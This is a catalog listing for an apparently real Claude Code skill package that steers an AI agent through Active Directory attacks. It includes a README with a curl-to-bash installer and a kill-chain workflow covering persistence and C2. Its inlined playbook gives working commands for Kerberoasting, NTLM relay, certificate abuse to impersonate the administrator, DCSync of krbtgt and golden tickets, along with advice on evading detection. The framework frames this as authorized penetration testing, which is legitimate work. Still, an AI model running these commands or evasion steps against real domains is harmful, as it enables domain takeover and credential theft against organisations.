⏳ This skill is pending AI review.
Scores will appear once the review pipeline completes.
active-directory-attack
Use when attacking a Windows Active Directory domain — Kerberos roasting/delegation, coercion + NTLM/Kerberos relay (CVE-2025-33073), ADCS ESC1-16 (EKUwu), ticket forgery & DCSync, dMSA BadSuccessor (CVE-2025-53779), BloodHound attack-path enumeration, domain dominance
Choose how to use this skill
You do not need every option. Choose the path your AI client supports. The stable page stays the same; versioned files are immutable.
1. Native installer
This listing has no registered native installer command. Use the complete package or source fallback below, depending on what your client supports.
Do not guess an installer command or replace an existing version without reviewing the diff.
2. Complete package recommended
Download the ZIP when available. It includes SKILL.md plus the references, security notes and version metadata.
No complete ProSkills package is published for this listing yet.3. Prompt-only
Copy the prompt above when the agent can read the stable page or when you want to adopt the workflow without installing a skill.
Need only the instruction file?
Download SKILL.md only if your client requires a single file. The complete ZIP is safer for a full installation because it preserves the references and release context.
No path installs or executes anything by itself. Your agent still needs access to the project files. Before updating, compare the installed version and review the diff.
// RATINGS
Not yet listed on ClawHub or SkillsMP
// README
Offensive Security Research Config for Claude Code
A spec-driven offensive security framework for Claude Code — structured engagement workflows based on the Cyber Kill Chain, 32 kill-chain skills (multi-file progressive-disclosure) plus a discipline layer (a SessionStart dispatcher + 6 process/discipline skills), 8 collaborative agents, and a shared 47-file vulnerability reference library. Inspired by GitHub's spec-kit, obra/superpowers, and gadievron/raptor (crash→exploitability + OSS-repo forensics).
Quick Setup
# Method 0: Install as a Claude Code plugin (recommended — auto-loads the skill dispatcher)
/plugin marketplace add hypnguyen1209/offensive-claude
/plugin install offensive-claude@offensive-claude-marketplace
Installing as a plugin registers a SessionStart hook that injects the
using-offensive-claude dispatcher into every conversation, so the skill-invocation discipline
(scope → finding → OPSEC) is active from the first message.
# Method 1: One-liner install (recommended)
curl -sL https://raw.githubusercontent.com/hypnguyen1209/offensive-claude/main/install.sh | bash
# Method 2: Clone + install script
git clone https://github.com/hypnguyen1209/offensive-claude.git ~/offensive-claude
cd ~/offensive-claude && bash install.sh
# Method 3: Manual copy
git clone https://github.com/hypnguyen1209/offensive-claude.git ~/offensive-claude
cp -r ~/offensive-claude/skills ~/.claude/skills
cp -r ~/offensive-claude/agents ~/.claude/agents
cp -r ~/offensive-claude/templates ~/.claude/templates
cp -r ~/offensive-claude/workflows ~/.claude/workflows
cp -r ~/offensive-claude/commands ~/.claude/commands
cp -r ~/offensive-claude/presets ~/.claude/presets
cp ~/offensive-claude/CLAUDE.md ~/.claude/CLAUDE.md
Skills and agents activate automatically — no additional configuration needed.
Engagement Workflow
Engagements follow the Cyber Kill Chain as a structured 9-phase pipeline with quality gates:
Phase 0 Phase 1 Phase 2 Phase 3 Phase 4 Phase 5 Phase 6 Phase 7 Phase 8
SCOPE → RECON → WEAPONIZE → DELIVERY → EXPLOIT → INSTALLATION → C2 → ACTIONS ON → REPORT
OBJECTIVES
Quick Start — Web App Pentest
/engage.init web-app --client ACME
/engage.scope # Define targets, ROE, authorization
/engage.recon # Subdomain enum, port scan, tech fingerprint
/engage.weaponize # Select exploits, design payloads
/engage.exploit # Execute exploits, document findings
/engage.report # Generate technical report + executive summary
Orchestration Commands
| Command | Phase | Action |
|---|---|---|
/engage.init <preset> | — | Initialize engagement with workflow preset |
/engage.scope | 0 | Define targets, ROE, authorization |
/engage.recon | 1 | Passive/active reconnaissance |
/engage.weaponize | 2 | Payload development, exploit design |
/engage.deliver | 3 | Delivery vector execution |
/engage.exploit | 4 | Exploitation, finding documentation |
/engage.install | 5 | Persistence establishment |
/engage.c2 | 6 | C2 infrastructure setup |
/engage.actions | 7 | Objectives execution, lateral movement |
/engage.report | 8 | Report generation |
/engage.status | — | Show pipeline status and progress |
/engage.gate | — | Validate current phase gate |
/engage.crash | 4 | Crash → root cause (rr) → reachability (gcov/trace) → empirical exploitability verdict |
/engage.cvediff | 2,4 | Find a CVE's canonical fix commit(s) across sources, then scope-gated diff for root cause |
/engage.scorecard | — | Calibrate model verdict trust (Wilson-bounded miss-rate) to short-circuit re-validation |
/engage.threatmodel | 1 | Materialize / lint / drift-check the engagement threat model |
/engage.memory | — | Recall prior patterns / record confirmed findings (cross-engagement learning) |
/engage.pickup | — | Resume an engagement from the engine trace (skip completed steps) |
Workflow Presets
| Preset | Phases | Use Case |
|---|---|---|
web-app | 0,1,2,3,4,8 | OWASP-focused web application assessment |
network | 0,1,2,4,5,6,7,8 | Internal network penetration test |
red-team | ALL (0-8) | Full adversary simulation |
cloud | 0,1,4,8 | AWS/Azure/GCP security audit |
mobile | 0,1,2,4,8 | Android/iOS application pentest |
ad-domain | 0,1,2,4,5,7,8 | Active Directory domain assessment |
bug-bounty | 0,1,4,8 | Bug bounty vulnerability hunting |
Quality Gates
Each phase transition validates:
- Required artifacts exist (templates filled)
- Findings have mandatory fields (CWE, CVSS, evidence, ATT&CK ID)
- Gate PASS → suggests next phase + relevant skills
- Gate FAIL → lists missing items
Structure
.
├── skills/ # 32 skill modules (progressive-disclosure layout)
│ ├── recon-osint/
│ │ ├── SKILL.md # thin router: when-to-activate + technique map + OPSEC/detection
│ │ ├── references/ # per-skill technique deep-dives (theory + code + detection + OPSEC)
│ │ └── scripts/ # runnable tooling backing each technique
│ ├── coding-mastery/scripts/_lib/ # shared safety libs: scope_guard, action_guard, http_creds, redact_headers
│ ├── engagement-memory/ # cross-engagement pattern-learning memory (support skill)
│ ├── using-offensive-claude/ # SessionStart DISPATCHER — skill-invocation discipline
│ ├── engagement-flow/ # process skills: sequence the kill chain,
│ ├── scope-discipline/ # no target without authorization,
│ ├── threat-model-discipline/ # model the attack surface + detect drift before exploiting,
│ ├── finding-discipline/ # no [CONFIRMED] without proof,
│ ├── opsec-discipline/ # detection/cleanup/redaction before acting,
│ ├── writing-offensive-skills/ # authoring conventions
│ ├── exploit-development/
│ ├── ...
│ └── references/ # shared 47-file vulnerability pattern library
├── .claude-plugin/ # plugin.json + marketplace.json (install as a Claude Code plugin)
├── hooks/ # SessionStart hook that injects the dispatcher every session
├── .devcontainer/ # reproducible binary-analysis toolchain (rr/gdb/gcov/afl++) for the
│ # crash→exploitability pipeline; scoped SYS_PTRACE/SYS_PERFMON, not --privileged
├── agents/ # 8 collaborative sub-agents (incl. finding-validator, finding-checker)
├── engine/ # bounded, resumable, traceable autopilot runner
│ ├── engine.py # phase runner (budget + loop-detect + trace + resume; not an LLM)
│ ├── budget.py loop_detector.py tracer.py
│ ├── rebuttal.py # bounded generator↔checker rebuttal loop (default-to-skeptic)
│ └── model_scorecard.py # Wilson-bounded, fail-closed model-verdict trust calibration
├── tests/ # pytest suite for the safety-critical scripts (run: pytest)
├── templates/ # Structured templates per Kill Chain phase
│ ├── scope/ # scope-definition + scope.schema.json/example (machine-readable ROE)
│ ├── threat-model/ # threat model (assets/entry-points/boundaries/ATT&CK) + drift baseline
│ └── ... (recon, weaponize, delivery, exploit, install, c2, actions, report)
├── workflows/ # Kill Chain workflow definitions (YAML) + WORKFLOW-ENGINE.md
├── commands/ # /engage.* o
// HOW IT'S BUILT
// FILES
2 files shipped with this skill. Inline text is the catalog copy. The upstream link is the source repository.
skills/active-directory-attack/SKILL.md7.8 KBupstream ↗
--- name: active-directory-attack description: Use when attacking a Windows Active Directory domain — Kerberos roasting/delegation, coercion + NTLM/Kerberos relay (CVE-2025-33073), ADCS ESC1-16 (EKUwu), ticket forgery & DCSync, dMSA BadSuccessor (CVE-2025-53779), BloodHound attack-path enumeration, domain dominance metadata: type: offensive phase: exploitation tools: impacket, certipy, rubeus, bloodhound-ce, netexec, krbrelayx, ntlmrelayx, bloodyAD, mimikatz, kerbrute, SharpSuccessor mitre: TA0008 kill_chain: phase: [exploit, actions] step: [4, 7] attck_tactics: [TA0006, TA0008, TA0004, TA0003] attck_techniques: [T1558, T1558.003, T1558.004, T1558.001, T1187, T1557, T1557.001, T1003.006, T1550.002, T1550.003, T1484.001, T1098, T1207] depends_on: [network-attack, privesc-windows] feeds_into: [red-team-ops, advanced-redteam] inputs: [domain_info, user_context, foothold_creds] outputs: [domain_admin_access, finding_record, credential_dump, forged_tickets] references: - references/bloodhound-enum-lateral.md - references/kerberos-roasting-delegation.md - references/coercion-relay.md - references/adcs-abuse.md - references/ticket-forgery-dcsync.md - references/dmsa-badsuccessor.md scripts: - scripts/ad_recon.py - scripts/kerberoast_audit.py - scripts/rbcd_takeover.py - scripts/coerce_relay_chain.sh - scripts/Get-BadSuccessorOUPermissions.ps1 - scripts/adcs_esc_finder.py --- # Active Directory Attacks ## When to Activate - Attacking Windows domain environments after gaining any domain foothold (creds, hash, or unauth network position) - Kerberos exploitation: Kerberoasting, AS-REP roasting, delegation (RBCD/constrained/unconstrained), ticket forgery - Coercion + NTLM/Kerberos relay chains (PetitPotam/DFSCoerce → LDAP/ADCS, NTLM reflection CVE-2025-33073) - ADCS certificate-template abuse (ESC1-ESC16) and certificate-based domain takeover - dMSA / BadSuccessor privilege escalation on Windows Server 2025 domains - BloodHound CE attack-path discovery, lateral movement, DCSync, and domain-dominance persistence ## Technique Map | Technique | ATT&CK | CWE | Reference | Script | |-----------|--------|-----|-----------|--------| | BloodHound CE / SharpHound enumeration | T1482 | CWE-732 | references/bloodhound-enum-lateral.md | scripts/ad_recon.py | | Password spray / PtH / PtT lateral movement | T1550.002, T1550.003 | CWE-522 | references/bloodhound-enum-lateral.md | scripts/ad_recon.py | | LAPS / gMSA password read | T1003 | CWE-522 | references/bloodhound-enum-lateral.md | scripts/ad_recon.py | | Kerberoasting | T1558.003 | CWE-261 | references/kerberos-roasting-delegation.md | scripts/kerberoast_audit.py | | AS-REP roasting | T1558.004 | CWE-308 | references/kerberos-roasting-delegation.md | scripts/kerberoast_audit.py | | Resource-Based Constrained Delegation (RBCD) | T1558, T1098 | CWE-269 | references/kerberos-roasting-delegation.md | scripts/rbcd_takeover.py | | Constrained/Unconstrained delegation (S4U) | T1558 | CWE-269 | references/kerberos-roasting-delegation.md | scripts/rbcd_takeover.py | | Coercion (PetitPotam/DFSCoerce/PrinterBug/WebDAV) | T1187 | CWE-294 | references/coercion-relay.md | scripts/coerce_relay_chain.sh | | NTLM relay (SMB/LDAP/ADCS) | T1557.001 | CWE-294 | references/coercion-relay.md | scripts/coerce_relay_chain.sh | | NTLM reflection (CVE-2025-33073) | T1187, T1557.001 | CWE-294 | references/coercion-relay.md | scripts/coerce_relay_chain.sh | | Kerberos relay / DNS CNAME (CVE-2026-20929) | T1557 | CWE-294 | references/coercion-relay.md | scripts/coerce_relay_chain.sh | | ADCS ESC1 (SAN) / ESC15 EKUwu (CVE-2024-49019) | T1649 | CWE-295 | references/adcs-abuse.md | scripts/adcs_esc_finder.py | | ADCS ESC8 relay / ESC16 CA-wide override | T1649, T1557.001 | CWE-295 | references/adcs-abuse.md | scripts/adcs_esc_finder.py | | Golden / Silver / Diamond / Sapphire ticket | T1558.001, T1558.002 | CWE-345 | references/ticket-forgery-dcsync.md | - | | DCSync (DRSUAPI replication) | T1003.006 | CWE-269 | references/ticket-forgery-dcsync.md | - | | noPac / sAMAccountName spoofing (CVE-2021-42278/87) | T1558 | CWE-287 | references/ticket-forgery-dcsync.md | - | | dMSA BadSuccessor (CVE-2025-53779) | T1098, T1558 | CWE-269 | references/dmsa-badsuccessor.md | scripts/Get-BadSuccessorOUPermissions.ps1 | ## Quick Start ```bash # 0. Sync clock to DC (Kerberos needs +/-5 min) sudo ntpdate <DC_IP> # or: faketime "$(net time -S <DC>)" <cmd> # 1. Enumerate: BloodHound CE collection (Linux) + own the graph bloodhound-python -u user -p 'Pass' -d corp.local -dc dc01.corp.local -ns <DC_IP> -c all --zip # (use the bloodhound-ce branch; legacy collectors break CE ingest) nxc ldap <DC_IP> -u user -p 'Pass' --bloodhound --collection All --dns-server <DC_IP> # 2. Cheap wins on the graph: roast everything visible python3 scripts/kerberoast_audit.py -d corp.local --dc-ip <DC_IP> -u user -p 'Pass' --asrep --kerberoast # 3. Coerce + relay to LDAP/ADCS (RBCD or cert) if signing/EPA weak bash scripts/coerce_relay_chain.sh corp.local user 'Pass' <DC_IP> <RELAY_IP> ldap # 4. ADCS path: find ESC1-16 and grab a DA cert python3 scripts/adcs_esc_finder.py -d corp.local -u user -p 'Pass' --dc-ip <DC_IP> certipy req -u [email protected] -p 'Pass' -ca CA -template Vuln -upn [email protected] certipy auth -pfx administrator.pfx -dc-ip <DC_IP> # -> NT hash / TGT # 5. Windows Server 2025 present? Check BadSuccessor exposure powershell -ep bypass -File scripts/Get-BadSuccessorOUPermissions.ps1 # 6. Domain dominance: DCSync krbtgt -> Golden ticket / persistence impacket-secretsdump -just-dc-user 'corp\krbtgt' corp.local/da:'Pass'@<DC_IP> ``` ## OPSEC & Detection (summary) | Technique | Telemetry / IOC | Detection (Sigma / EDR) | OPSEC note | |-----------|-----------------|--------------------------|------------| | SharpHound/LDAP enum | Hundreds of LDAP queries from one host; 4662 directory access | SIEM rule: single source > N LDAP queries/minute; ADWS 9389 spikes | Throttle `--throttle/--jitter`; prefer ADWS (SOAPHound) to dodge LDAP heuristics | | Kerberoasting | 4769 TGS-REQ with RC4 (0x17) for many SPNs from one host | Sigma `win_security_susp_kerberos_manipulation`; alert on RC4 TGS bursts | Request AES-only SPNs sparingly; `/rc4opsec`; roast few accounts, slow | | AS-REP roasting | 4768 AS-REQ no-preauth; etype 23 | Alert on AS-REQ for DONT_REQ_PREAUTH accounts | Only target accounts BloodHound flags; offline crack | | Coercion | EFSRPC/DFSNM/RPRN named-pipe calls; auth from server to odd host | Sigma `coercion`/`PetitPotam`; RPC firewall (RpcFilter) logs | Coercion is "by design"; NTLM removal on 2025/24H2 forces Kerberos fallback | | NTLM relay / reflection | 4624/4648 NTLM logon to self; SMB→LDAP from non-server | Detect SMB-signing:False targets; CVE-2025-33073 DNS marshalled record | Needs signing:False target; patch (Jun 2025) detects marshalled DNS struct | | ADCS ESC | 4886/4887 cert issuance; cert with arbitrary SAN/UPN; client-auth EKU on web template | Sigma ADCS issuance anomalies; certutil monitoring; ESC15 EKU injection | Restore templates (ESC4); EPA on certsrv breaks ESC8 relay | | Ticket forgery | TGT lifetime anomalies; PAC w/o validation; 4769 for krbtgt SPN | Golden: ticket lifetime > policy; Sapphire mimics real PAC (hard) | Match domain ticket policy lifetimes; use AES keys not RC4 | | DCSync | 4662 DRSUAPI GetNCChanges from non-DC | Sigma `dcsync`; alert DRSUAPI replication from non-DC IP | Run from a host that looks like a DC; avoid `/all`, target krbtgt only | | dMSA BadSuccessor | 5137 dMSA create; 5136 write to msDS-ManagedAccountPrecededByLink | Sigma SharpSuccessor exec; SACL on dMSA attrs (off by default!) | Patched (Aug 2025) needs both sides controlled; still a creds-dump primitive | ## Deep Dives - **references/bloodhound-enum-lateral.md** — BloodHound CE v8 / OpenGraph, SharpHound CE & bloodhound-ce collectors, NetExec, high-value Cypher, password spray, PtH/PtT/OverREADME.mdupstream ↗
Contents are not inlined in the catalog. Open the upstream file.
Plain-text copy, no login: /skill-bundles/hypnguyen1209-offensive-claude-skills-active-directory-attack.md